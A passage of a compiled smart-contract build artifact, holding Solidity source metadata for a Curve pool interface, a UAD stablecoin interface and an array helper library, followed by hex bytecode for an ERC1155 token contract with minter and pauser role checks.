(uint256);\\n\\n function remove_liquidity_one_coin(\\n uint256 _burn_amount,\\n int128 i,\\n uint256 _min_received\\n ) external returns (uint256);\\n\\n function remove_liquidity_one_coin(\\n uint256 _burn_amount,\\n int128 i,\\n uint256 _min_received,\\n address _receiver\\n ) external returns (uint256);\\n\\n function ramp_A(uint256 _future_A, uint256 _future_time) external;\\n\\n function stop_ramp_A() external;\\n\\n function admin_balances(uint256 i) external view returns (uint256);\\n\\n function withdraw_admin_fees() external;\\n\\n function admin() external view returns (address);\\n\\n function coins(uint256 arg0) external view returns (address);\\n\\n function balances(uint256 arg0) external view returns (uint256);\\n\\n function fee() external view returns (uint256);\\n\\n function block_timestamp_last() external view returns (uint256);\\n\\n function initial_A() external view returns (uint256);\\n\\n function future_A() external view returns (uint256);\\n\\n function initial_A_time() external view returns (uint256);\\n\\n function future_A_time() external view returns (uint256);\\n\\n function name() external view returns (string memory);\\n\\n function symbol() external view returns (string memory);\\n\\n function balanceOf(address arg0) external view returns (uint256);\\n\\n function allowance(address arg0, address arg1)\\n external\\n view\\n returns (uint256);\\n\\n function totalSupply() external view returns (uint256);\\n}\\n\",\"keccak256\":\"0xc89cc32a2a8a0336c380ed2ae3c3b5a9292cf1cd431cc09dec4d3057389ed893\",\"license\":\"UNLICENSED\"},\"contracts/interfaces/IUbiquityAlgorithmicDollar.sol\":{\"content\":\"// SPDX-License-Identifier: Apache-2.0\\npragma solidity ^0.8.3;\\n\\nimport \\\"./IERC20Ubiquity.sol\\\";\\n\\n/// @title UAD stablecoin interface\\n/// @author Ubiquity Algorithmic Dollar\\ninterface IUbiquityAlgorithmicDollar is IERC20Ubiquity {\\n event IncentiveContractUpdate(\\n address indexed _incentivized,\\n address indexed _incentiveContract\\n );\\n\\n function setIncentiveContract(address account, address incentive) external;\\n\\n function incentiveContract(address account) external view returns (address);\\n}\\n\",\"keccak256\":\"0x34469f12207adbfd6003ce7710ddc7b0ee3c1637b5d7fbac2b35c9e3fe3b6182\",\"license\":\"Apache-2.0\"},\"contracts/utils/SafeAddArray.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\n// SPDX-License-Identifier: EUPL V1.2\\npragma solidity ^0.8.3;\\n\\n/**\\n * @dev Wrappers over Solidity's array push operations with added check\\n *\\n */\\nlibrary SafeAddArray {\\n /**\\n * @dev Returns the addition of two unsigned integers, reverting on\\n * overflow.\\n *\\n */\\n function add(bytes32[] storage array, bytes32 value) internal {\\n for (uint256 i; i < array.length; i++) {\\n if (array[i] == value) {\\n return;\\n }\\n }\\n array.push(value);\\n }\\n\\n function add(string[] storage array, string memory value) internal {\\n bytes32 hashValue = keccak256(bytes(value));\\n for (uint256 i; i < array.length; i++) {\\n if (keccak256(bytes(array[i])) == hashValue) {\\n return;\\n }\\n }\\n array.push(value);\\n }\\n\\n function add(uint256[] storage array, uint256 value) internal {\\n for (uint256 i; i < array.length; i++) {\\n if (array[i] == value) {\\n return;\\n }\\n }\\n array.push(value);\\n }\\n\\n function add(uint256[] storage array, uint256[] memory values) internal {\\n for (uint256 i; i < values.length; i++) {\\n bool exist = false;\\n for (uint256 j; j < array.length; j++) {\\n if (array[j] == values[i]) {\\n exist = true;\\n break;\\n }\\n }\\n if (!exist) {\\n array.push(values[i]);\\n }\\n }\\n }\\n}\\n\",\"keccak256\":\"0x91fe76b3329822312f636237bc19bf8d5b1943b489c782b997cde6e1c9bc47af\",\"license\":\"MIT\"}},\"version\":1}", - "bytecode": "0x60806040523480156200001157600080fd5b5060405162002d7038038062002d70833981016040819052620000349162000149565b60408051808201909152600381526255524960e81b60208201528190806200005c816200008a565b5050600380546001600160a01b03909216610100026001600160a81b031990921691909117905550620001b6565b80516200009f906002906020840190620000a3565b5050565b828054620000b19062000179565b90600052602060002090601f016020900481019282620000d5576000855562000120565b82601f10620000f057805160ff191683800117855562000120565b8280016001018555821562000120579182015b828111156200012057825182559160200191906001019062000103565b506200012e92915062000132565b5090565b5b808211156200012e576000815560010162000133565b6000602082840312156200015b578081fd5b81516001600160a01b038116811462000172578182fd5b9392505050565b600181811c908216806200018e57607f821691505b60208210811415620001b057634e487b7160e01b600052602260045260246000fd5b50919050565b612baa80620001c66000396000f3fe608060405234801561001057600080fd5b50600436106101355760003560e01c80635c975abb116100b25780638456cb5911610081578063e985e9c511610066578063e985e9c51461028a578063f242432a146102c6578063f5298aca146102d957610135565b80638456cb591461026f578063a22cb4651461027757610135565b80635c975abb1461022b5780636b20c45414610236578063731133e9146102495780637b48c3fd1461025c57610135565b80631f7fdffa116101095780633f4ba83a116100ee5780633f4ba83a146101d3578063481c6a75146101db5780634e1273f41461020b57610135565b80631f7fdffa146101ab5780632eb2c2d6146101c057610135565b8062fdd58e1461013a57806301ffc9a7146101605780630e89341c1461018357806318160ddd146101a3575b600080fd5b61014d610148366004612654565b6102ec565b6040519081526020015b60405180910390f35b61017361016e366004612801565b610395565b6040519015158152602001610157565b610196610191366004612839565b6103e9565b60405161015791906129b8565b61014d61047d565b6101be6101b9366004612589565b610484565b005b6101be6101ce36600461240f565b6106a4565b6101be6106da565b6003546101f39061010090046001600160a01b031681565b6040516001600160a01b039091168152602001610157565b61021e610219366004612702565b61082e565b6040516101579190612977565b60035460ff16610173565b6101be610244366004612518565b6109a4565b6101be6102573660046126af565b610a2e565b61021e61026a3660046123bc565b610bbd565b6101be610c28565b6101be61028536600461261e565b610d7a565b6101736102983660046123dd565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205460ff1690565b6101be6102d43660046124b5565b610e72565b6101be6102e736600461267d565b610ea1565b60006001600160a01b03831661036f5760405162461bcd60e51b815260206004820152602b60248201527f455243313135353a2062616c616e636520717565727920666f7220746865207a60448201527f65726f206164647265737300000000000000000000000000000000000000000060648201526084015b60405180910390fd5b506000908152602081815260408083206001600160a01b03949094168352929052205490565b60006001600160e01b03198216636cdb3d1360e11b14806103c657506001600160e01b031982166303a24d0760e21b145b806103e157506301ffc9a760e01b6001600160e01b03198316145b90505b919050565b6060600280546103f890612a1e565b80601f016020809104026020016040519081016040528092919081815260200182805461042490612a1e565b80156104715780601f1061044657610100808354040283529160200191610471565b820191906000526020600020905b81548152906001019060200180831161045457829003601f168201915b50505050509050919050565b6005545b90565b60035460408051632f533cb760e01b815290516101009092046001600160a01b0316916391d14854918391632f533cb791600480820192602092909190829003018186803b1580156104d557600080fd5b505afa1580156104e9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061050d91906127e9565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b15801561054a57600080fd5b505afa15801561055e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061058291906127cd565b6105ce5760405162461bcd60e51b815260206004820152601c60248201527f476f7665726e616e636520746f6b656e3a206e6f74206d696e746572000000006044820152606401610366565b60035460ff16156106145760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b6044820152606401610366565b61062084848484610f26565b60005b835181101561067b5782818151811061064c57634e487b7160e01b600052603260045260246000fd5b60200260200101516005600082825461066591906129ef565b90915550610674905081612a86565b9050610623565b506001600160a01b038416600090815260046020526040902061069e9084611117565b50505050565b6106b185858585856111fe565b6001600160a01b03841660009081526004602052604090206106d39084611117565b5050505050565b6003546040805163e63ab1e960e01b815290516101009092046001600160a01b0316916391d1485491839163e63ab1e991600480820192602092909190829003018186803b15801561072b57600080fd5b505afa15801561073f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076391906127e9565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b1580156107a057600080fd5b505afa1580156107b4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107d891906127cd565b6108245760405162461bcd60e51b815260206004820152601c60248201527f476f7665726e616e636520746f6b656e3a206e6f7420706175736572000000006044820152606401610366565b61082c61155f565b565b606081518351146108a75760405162461bcd60e51b815260206004820152602960248201527f455243313135353a206163636f756e747320616e6420696473206c656e67746860448201527f206d69736d6174636800000000000000000000000000000000000000000000006064820152608401610366565b6000835167ffffffffffffffff8111156108d157634e487b7160e01b600052604160045260246000fd5b6040519080825280602002602001820160405280156108fa578160200160208202803683370190505b50905060005b845181101561099c5761096185828151811061092c57634e487b7160e01b600052603260045260246000fd5b602002602001015185838151811061095457634e487b7160e01b600052603260045260246000fd5b60200260200101516102ec565b82828151811061098157634e487b7160e01b600052603260045260246000fd5b602090810291909101015261099581612a86565b9050610900565b509392505050565b6001600160a01b0383163314806109c057506109c08333610298565b610a1e5760405162461bcd60e51b815260206004820152602960248201527f455243313135353a2063616c6c6572206973206e6f74206f776e6572206e6f7260448201526808185c1c1c9bdd995960ba1b6064820152608401610366565b610a298383836115fb565b505050565b60035460408051632f533cb760e01b815290516101009092046001600160a01b0316916391d14854918391632f533cb791600480820192602092909190829003018186803b158015610a7f57600080fd5b505afa158015610a93573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ab791906127e9565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b158015610af457600080fd5b505afa158015610b08573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b2c91906127cd565b610b785760405162461bcd60e51b815260206004820152601c60248201527f476f7665726e616e636520746f6b656e3a206e6f74206d696e746572000000006044820152606401610366565b610b84848484846116a7565b8160056000828254610b9691906129ef565b90915550506001600160a01b038416600090815260046020526040902061069e90846117b7565b6001600160a01b03811660009081526004602090815260409182902080548351818402810184019094528084526060939283018282801561047157602002820191906000526020600020905b815481526020019060010190808311610c095750505050509050919050565b6003546040805163e63ab1e960e01b815290516101009092046001600160a01b0316916391d1485491839163e63ab1e991600480820192602092909190829003018186803b158015610c7957600080fd5b505afa158015610c8d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cb191906127e9565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b158015610cee57600080fd5b505afa158015610d02573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d2691906127cd565b610d725760405162461bcd60e51b815260206004820152601c60248201527f476f7665726e616e636520746f6b656e3a206e6f7420706175736572000000006044820152606401610366565b61082c611828565b336001600160a01b0383161415610df95760405162461bcd60e51b815260206004820152602960248201527f455243313135353a2073657474696e6720617070726f76616c2073746174757360448201527f20666f722073656c6600000000000000000000000000000000000000000000006064820152608401610366565b3360008181526001602090815260408083206001600160a01b0387168085529252909120805460ff1916841515179055906001600160a01b03167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051610e66911515815260200190565b60405180910390a35050565b610e7f85858585856118a3565b6001600160a01b03841660009081526004602052604090206106d390846117b7565b6001600160a01b038316331480610ebd5750610ebd8333610298565b610f1b5760405162461bcd60e51b815260206004820152602960248201527f455243313135353a2063616c6c6572206973206e6f74206f776e6572206e6f7260448201526808185c1c1c9bdd995960ba1b6064820152608401610366565b610a29838383611ac4565b6001600160a01b038416610f865760405162461bcd60e51b815260206004820152602160248201527f455243313135353a206d696e7420746f20746865207a65726f206164647265736044820152607360f81b6064820152608401610366565b8151835114610fe85760405162461bcd60e51b815260206004820152602860248201527f455243313135353a2069647320616e6420616d6f756e7473206c656e677468206044820152670dad2e6dac2e8c6d60c31b6064820152608401610366565b33610ff881600087878787611b31565b60005b84518110156110af5783818151811061102457634e487b7160e01b600052603260045260246000fd5b602002602001015160008087848151811061104f57634e487b7160e01b600052603260045260246000fd5b602002602001015181526020019081526020016000206000886001600160a01b03166001600160a01b03168152602001908152602001600020600082825461109791906129ef565b909155508190506110a781612a86565b915050610ffb565b50846001600160a01b031660006001600160a01b0316826001600160a01b03167f4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb878760405161110092919061298a565b60405180910390a46106d381600087878787611b3f565b60005b8151811015610a29576000805b84548110156111a45783838151811061115057634e487b7160e01b600052603260045260246000fd5b602002602001015185828154811061117857634e487b7160e01b600052603260045260246000fd5b9060005260206000200154141561119257600191506111a4565b8061119c81612a86565b915050611127565b50806111eb57838383815181106111cb57634e487b7160e01b600052603260045260246000fd5b602090810291909101810151825460018101845560009384529190922001555b50806111f681612a86565b91505061111a565b81518351146112605760405162461bcd60e51b815260206004820152602860248201527f455243313135353a2069647320616e6420616d6f756e7473206c656e677468206044820152670dad2e6dac2e8c6d60c31b6064820152608401610366565b6001600160a01b0384166112c45760405162461bcd60e51b815260206004820152602560248201527f455243313135353a207472616e7366657220746f20746865207a65726f206164604482015264647265737360d81b6064820152608401610366565b6001600160a01b0385163314806112e057506112e08533610298565b6113525760405162461bcd60e51b815260206004820152603260248201527f455243313135353a207472616e736665722063616c6c6572206973206e6f742060448201527f6f776e6572206e6f7220617070726f76656400000000000000000000000000006064820152608401610366565b33611361818787878787611b31565b60005b84518110156114f157600085828151811061138f57634e487b7160e01b600052603260045260246000fd5b6020026020010151905060008583815181106113bb57634e487b7160e01b600052603260045260246000fd5b602090810291909101810151600084815280835260408082206001600160a01b038e16835290935291909120549091508181101561144e5760405162461bcd60e51b815260206004820152602a60248201527f455243313135353a20696e73756666696369656e742062616c616e636520666f60448201526939103a3930b739b332b960b11b6064820152608401610366565b6114588282612a07565b60008085815260200190815260200160002060008c6001600160a01b03166001600160a01b03168152602001908152602001600020819055508160008085815260200190815260200160002060008b6001600160a01b03166001600160a01b0316815260200190815260200160002060008282546114d691906129ef565b92505081905550505050806114ea90612a86565b9050611364565b50846001600160a01b0316866001600160a01b0316826001600160a01b03167f4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb878760405161154192919061298a565b60405180910390a4611557818787878787611b3f565b505050505050565b60035460ff166115b15760405162461bcd60e51b815260206004820152601460248201527f5061757361626c653a206e6f74207061757365640000000000000000000000006044820152606401610366565b6003805460ff191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa335b6040516001600160a01b03909116815260200160405180910390a1565b60035460ff16156116415760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b6044820152606401610366565b61164c838383611cf4565b60005b825181101561069e5781818151811061167857634e487b7160e01b600052603260045260246000fd5b6020026020010151600560008282546116919190612a07565b909155506116a0905081612a86565b905061164f565b6001600160a01b0384166117075760405162461bcd60e51b815260206004820152602160248201527f455243313135353a206d696e7420746f20746865207a65726f206164647265736044820152607360f81b6064820152608401610366565b336117278160008761171888611f64565b61172188611f64565b87611b31565b6000848152602081815260408083206001600160a01b0389168452909152812080548592906117579084906129ef565b909155505060408051858152602081018590526001600160a01b0380881692600092918516917fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62910160405180910390a46106d381600087878787611fbd565b60005b825481101561180d57818382815481106117e457634e487b7160e01b600052603260045260246000fd5b906000526020600020015414156117fb5750611824565b8061180581612a86565b9150506117ba565b508154600181018355600083815260209020018190555b5050565b60035460ff161561186e5760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b6044820152606401610366565b6003805460ff191660011790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a2586115de3390565b6001600160a01b0384166119075760405162461bcd60e51b815260206004820152602560248201527f455243313135353a207472616e7366657220746f20746865207a65726f206164604482015264647265737360d81b6064820152608401610366565b6001600160a01b03851633148061192357506119238533610298565b6119815760405162461bcd60e51b815260206004820152602960248201527f455243313135353a2063616c6c6572206973206e6f74206f776e6572206e6f7260448201526808185c1c1c9bdd995960ba1b6064820152608401610366565b3361199181878761171888611f64565b6000848152602081815260408083206001600160a01b038a16845290915290205483811015611a155760405162461bcd60e51b815260206004820152602a60248201527f455243313135353a20696e73756666696369656e742062616c616e636520666f60448201526939103a3930b739b332b960b11b6064820152608401610366565b611a1f8482612a07565b6000868152602081815260408083206001600160a01b038c81168552925280832093909355881681529081208054869290611a5b9084906129ef565b909155505060408051868152602081018690526001600160a01b03808916928a821692918616917fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62910160405180910390a4611abb828888888888611fbd565b50505050505050565b60035460ff1615611b0a5760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b6044820152606401610366565b611b158383836120c8565b8060056000828254611b279190612a07565b9091555050505050565b611557868686868686612249565b6001600160a01b0384163b156115575760405163bc197c8160e01b81526001600160a01b0385169063bc197c8190611b8390899089908890889088906004016128d6565b602060405180830381600087803b158015611b9d57600080fd5b505af1925050508015611bcd575060408051601f3d908101601f19168201909252611bca9181019061281d565b60015b611c8357611bd9612acd565b806308c379a01415611c135750611bee612ae4565b80611bf95750611c15565b8060405162461bcd60e51b815260040161036691906129b8565b505b60405162461bcd60e51b815260206004820152603460248201527f455243313135353a207472616e7366657220746f206e6f6e204552433131353560448201527f526563656976657220696d706c656d656e7465720000000000000000000000006064820152608401610366565b6001600160e01b0319811663bc197c8160e01b14611abb5760405162461bcd60e51b815260206004820152602860248201527f455243313135353a204552433131353552656365697665722072656a656374656044820152676420746f6b656e7360c01b6064820152608401610366565b6001600160a01b038316611d565760405162461bcd60e51b815260206004820152602360248201527f455243313135353a206275726e2066726f6d20746865207a65726f206164647260448201526265737360e81b6064820152608401610366565b8051825114611db85760405162461bcd60e51b815260206004820152602860248201527f455243313135353a2069647320616e6420616d6f756e7473206c656e677468206044820152670dad2e6dac2e8c6d60c31b6064820152608401610366565b6000339050611ddb81856000868660405180602001604052806000815250611b31565b60005b8351811015611f05576000848281518110611e0957634e487b7160e01b600052603260045260246000fd5b602002602001015190506000848381518110611e3557634e487b7160e01b600052603260045260246000fd5b602090810291909101810151600084815280835260408082206001600160a01b038c168352909352919091205490915081811015611ec15760405162461bcd60e51b8152602060048201526024808201527f455243313135353a206275726e20616d6f756e7420657863656564732062616c604482015263616e636560e01b6064820152608401610366565b611ecb8282612a07565b6000938452602084815260408086206001600160a01b038c1687529091529093209290925550819050611efd81612a86565b915050611dde565b5060006001600160a01b0316846001600160a01b0316826001600160a01b03167f4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb8686604051611f5692919061298a565b60405180910390a450505050565b60408051600180825281830190925260609160009190602080830190803683370190505090508281600081518110611fac57634e487b7160e01b600052603260045260246000fd5b602090810291909101015292915050565b6001600160a01b0384163b156115575760405163f23a6e6160e01b81526001600160a01b0385169063f23a6e61906120019089908990889088908890600401612934565b602060405180830381600087803b15801561201b57600080fd5b505af192505050801561204b575060408051601f3d908101601f191682019092526120489181019061281d565b60015b61205757611bd9612acd565b6001600160e01b0319811663f23a6e6160e01b14611abb5760405162461bcd60e51b815260206004820152602860248201527f455243313135353a204552433131353552656365697665722072656a656374656044820152676420746f6b656e7360c01b6064820152608401610366565b6001600160a01b03831661212a5760405162461bcd60e51b815260206004820152602360248201527f455243313135353a206275726e2066726f6d20746865207a65726f206164647260448201526265737360e81b6064820152608401610366565b336121598185600061213b87611f64565b61214487611f64565b60405180602001604052806000815250611b31565b6000838152602081815260408083206001600160a01b0388168452909152902054828110156121d65760405162461bcd60e51b8152602060048201526024808201527f455243313135353a206275726e20616d6f756e7420657863656564732062616c604482015263616e636560e01b6064820152608401610366565b6121e08382612a07565b6000858152602081815260408083206001600160a01b038a811680865291845282852095909555815189815292830188905292938616917fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62910160405180910390a45050505050565b60035460ff16156115575760405162461bcd60e51b815260206004820152602c60248201527f455243313135355061757361626c653a20746f6b656e207472616e736665722060448201527f7768696c652070617573656400000000000000000000000000000000000000006064820152608401610366565b80356001600160a01b03811681146103e457600080fd5b600082601f8301126122e9578081fd5b813560206122f6826129cb565b6040516123038282612a59565b8381528281019150858301600585901b87018401881015612322578586fd5b855b8581101561234057813584529284019290840190600101612324565b5090979650505050505050565b600082601f83011261235d578081fd5b813567ffffffffffffffff81111561237757612377612ab7565b60405161238e601f8301601f191660200182612a59565b8181528460208386010111156123a2578283fd5b816020850160208301379081016020019190915292915050565b6000602082840312156123cd578081fd5b6123d6826122c2565b9392505050565b600080604083850312156123ef578081fd5b6123f8836122c2565b9150612406602084016122c2565b90509250929050565b600080600080600060a08688031215612426578081fd5b61242f866122c2565b945061243d602087016122c2565b9350604086013567ffffffffffffffff80821115612459578283fd5b61246589838a016122d9565b9450606088013591508082111561247a578283fd5b61248689838a016122d9565b9350608088013591508082111561249b578283fd5b506124a88882890161234d565b9150509295509295909350565b600080600080600060a086880312156124cc578081fd5b6124d5866122c2565b94506124e3602087016122c2565b93506040860135925060608601359150608086013567ffffffffffffffff81111561250c578182fd5b6124a88882890161234d565b60008060006060848603121561252c578283fd5b612535846122c2565b9250602084013567ffffffffffffffff80821115612551578384fd5b61255d878388016122d9565b93506040860135915080821115612572578283fd5b5061257f868287016122d9565b9150509250925092565b6000806000806080858703121561259e578384fd5b6125a7856122c2565b9350602085013567ffffffffffffffff808211156125c3578485fd5b6125cf888389016122d9565b945060408701359150808211156125e4578384fd5b6125f0888389016122d9565b93506060870135915080821115612605578283fd5b506126128782880161234d565b91505092959194509250565b60008060408385031215612630578182fd5b612639836122c2565b9150602083013561264981612b76565b809150509250929050565b60008060408385031215612666578081fd5b61266f836122c2565b946020939093013593505050565b600080600060608486031215612691578081fd5b61269a846122c2565b95602085013595506040909401359392505050565b600080600080608085870312156126c4578182fd5b6126cd856122c2565b93506020850135925060408501359150606085013567ffffffffffffffff8111156126f6578182fd5b6126128782880161234d565b60008060408385031215612714578182fd5b823567ffffffffffffffff8082111561272b578384fd5b818501915085601f83011261273e578384fd5b8135602061274b826129cb565b6040516127588282612a59565b8381528281019150858301600585901b870184018b1015612777578889fd5b8896505b848710156127a05761278c816122c2565b83526001969096019591830191830161277b565b50965050860135925050808211156127b6578283fd5b506127c3858286016122d9565b9150509250929050565b6000602082840312156127de578081fd5b81516123d681612b76565b6000602082840312156127fa578081fd5b5051919050565b600060208284031215612812578081fd5b81356123d681612b87565b60006020828403121561282e578081fd5b81516123d681612b87565b60006020828403121561284a578081fd5b5035919050565b6000815180845260208085019450808401835b8381101561288057815187529582019590820190600101612864565b509495945050505050565b60008151808452815b818110156128b057602081850181015186830182015201612894565b818111156128c15782602083870101525b50601f01601f19169290920160200192915050565b60006001600160a01b03808816835280871660208401525060a0604083015261290260a0830186612851565b82810360608401526129148186612851565b90508281036080840152612928818561288b565b98975050505050505050565b60006001600160a01b03808816835280871660208401525084604083015283606083015260a0608083015261296c60a083018461288b565b979650505050505050565b6000602082526123d66020830184612851565b60006040825261299d6040830185612851565b82810360208401526129af8185612851565b95945050505050565b6000602082526123d6602083018461288b565b600067ffffffffffffffff8211156129e5576129e5612ab7565b5060051b60200190565b60008219821115612a0257612a02612aa1565b500190565b600082821015612a1957612a19612aa1565b500390565b600181811c90821680612a3257607f821691505b60208210811415612a5357634e487b7160e01b600052602260045260246000fd5b50919050565b601f8201601f1916810167ffffffffffffffff81118282101715612a7f57612a7f612ab7565b6040525050565b6000600019821415612a9a57612a9a612aa1565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b600060033d111561048157600481823e5160e01c90565b600060443d1015612af457610481565b6040516003193d81016004833e81513d67ffffffffffffffff8160248401118184111715612b26575050505050610481565b8285019150815181811115612b4057505050505050610481565b843d8701016020828501011115612b5c57505050505050610481565b612b6b60208286010187612a59565b509094505050505090565b8015158114612b8457600080fd5b50565b6001600160e01b031981168114612b8457600080fdfea164736f6c6343000803000a", - "deployedBytecode": "0x608060405234801561001057600080fd5b50600436106101355760003560e01c80635c975abb116100b25780638456cb5911610081578063e985e9c511610066578063e985e9c51461028a578063f242432a146102c6578063f5298aca146102d957610135565b80638456cb591461026f578063a22cb4651461027757610135565b80635c975abb1461022b5780636b20c45414610236578063731133e9146102495780637b48c3fd1461025c57610135565b80631f7fdffa116101095780633f4ba83a116100ee5780633f4ba83a146101d3578063481c6a75146101db5780634e1273f41461020b57610135565b80631f7fdffa146101ab5780632eb2c2d6146101c057610135565b8062fdd58e1461013a57806301ffc9a7146101605780630e89341c1461018357806318160ddd146101a3575b600080fd5b61014d610148366004612654565b6102ec565b6040519081526020015b60405180910390f35b61017361016e366004612801565b610395565b6040519015158152602001610157565b610196610191366004612839565b6103e9565b60405161015791906129b8565b61014d61047d565b6101be6101b9366004612589565b610484565b005b6101be6101ce36600461240f565b6106a4565b6101be6106da565b6003546101f39061010090046001600160a01b031681565b6040516001600160a01b039091168152602001610157565b61021e610219366004612702565b61082e565b6040516101579190612977565b60035460ff16610173565b6101be610244366004612518565b6109a4565b6101be6102573660046126af565b610a2e565b61021e61026a3660046123bc565b610bbd565b6101be610c28565b6101be61028536600461261e565b610d7a565b6101736102983660046123dd565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205460ff1690565b6101be6102d43660046124b5565b610e72565b6101be6102e736600461267d565b610ea1565b60006001600160a01b03831661036f5760405162461bcd60e51b815260206004820152602b60248201527f455243313135353a2062616c616e636520717565727920666f7220746865207a60448201527f65726f206164647265737300000000000000000000000000000000000000000060648201526084015b60405180910390fd5b506000908152602081815260408083206001600160a01b03949094168352929052205490565b60006001600160e01b03198216636cdb3d1360e11b14806103c657506001600160e01b031982166303a24d0760e21b145b806103e157506301ffc9a760e01b6001600160e01b03198316145b90505b919050565b6060600280546103f890612a1e565b80601f016020809104026020016040519081016040528092919081815260200182805461042490612a1e565b80156104715780601f1061044657610100808354040283529160200191610471565b820191906000526020600020905b81548152906001019060200180831161045457829003601f168201915b50505050509050919050565b6005545b90565b60035460408051632f533cb760e01b815290516101009092046001600160a01b0316916391d14854918391632f533cb791600480820192602092909190829003018186803b1580156104d557600080fd5b505afa1580156104e9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061050d91906127e9565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b15801561054a57600080fd5b505afa15801561055e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061058291906127cd565b6105ce5760405162461bcd60e51b815260206004820152601c60248201527f476f7665726e616e636520746f6b656e3a206e6f74206d696e746572000000006044820152606401610366565b60035460ff16156106145760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b6044820152606401610366565b61062084848484610f26565b60005b835181101561067b5782818151811061064c57634e487b7160e01b600052603260045260246000fd5b60200260200101516005600082825461066591906129ef565b90915550610674905081612a86565b9050610623565b506001600160a01b038416600090815260046020526040902061069e9084611117565b50505050565b6106b185858585856111fe565b6001600160a01b03841660009081526004602052604090206106d39084611117565b5050505050565b6003546040805163e63ab1e960e01b815290516101009092046001600160a01b0316916391d1485491839163e63ab1e991600480820192602092909190829003018186803b15801561072b57600080fd5b505afa15801561073f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076391906127e9565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b1580156107a057600080fd5b505afa1580156107b4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107d891906127cd565b6108245760405162461bcd60e51b815260206004820152601c60248201527f476f7665726e616e636520746f6b656e3a206e6f7420706175736572000000006044820152606401610366565b61082c61155f565b565b606081518351146108a75760405162461bcd60e51b815260206004820152602960248201527f455243313135353a206163636f756e747320616e6420696473206c656e67746860448201527f206d69736d6174636800000000000000000000000000000000000000000000006064820152608401610366565b6000835167ffffffffffffffff8111156108d157634e487b7160e01b600052604160045260246000fd5b6040519080825280602002602001820160405280156108fa578160200160208202803683370190505b50905060005b845181101561099c5761096185828151811061092c57634e487b7160e01b600052603260045260246000fd5b602002602001015185838151811061095457634e487b7160e01b600052603260045260246000fd5b60200260200101516102ec565b82828151811061098157634e487b7160e01b600052603260045260246000fd5b602090810291909101015261099581612a86565b9050610900565b509392505050565b6001600160a01b0383163314806109c057506109c08333610298565b610a1e5760405162461bcd60e51b815260206004820152602960248201527f455243313135353a2063616c6c6572206973206e6f74206f776e6572206e6f7260448201526808185c1c1c9bdd995960ba1b6064820152608401610366565b610a298383836115fb565b505050565b60035460408051632f533cb760e01b815290516101009092046001600160a01b0316916391d14854918391632f533cb791600480820192602092909190829003018186803b158015610a7f57600080fd5b505afa158015610a93573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ab791906127e9565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b158015610af457600080fd5b505afa158015610b08573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b2c91906127cd565b610b785760405162461bcd60e51b815260206004820152601c60248201527f476f7665726e616e636520746f6b656e3a206e6f74206d696e746572000000006044820152606401610366565b610b84848484846116a7565b8160056000828254610b9691906129ef565b90915550506001600160a01b038416600090815260046020526040902061069e90846117b7565b6001600160a01b03811660009081526004602090815260409182902080548351818402810184019094528084526060939283018282801561047157602002820191906000526020600020905b815481526020019060010190808311610c095750505050509050919050565b6003546040805163e63ab1e960e01b815290516101009092046001600160a01b0316916391d1485491839163e63ab1e991600480820192602092909190829003018186803b158015610c7957600080fd5b505afa158015610c8d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cb191906127e9565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b158015610cee57600080fd5b505afa158015610d02573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d2691906127cd565b610d725760405162461bcd60e51b815260206004820152601c60248201527f476f7665726e616e636520746f6b656e3a206e6f7420706175736572000000006044820152606401610366565b61082c611828565b336001600160a01b0383161415610df95760405162461bcd60e51b815260206004820152602960248201527f455243313135353a2073657474696e6720617070726f76616c2073746174757360448201527f20666f722073656c6600000000000000000000000000000000000000000000006064820152608401610366565b3360008181526001602090815260408083206001600160a01b0387168085529252909120805460ff1916841515179055906001600160a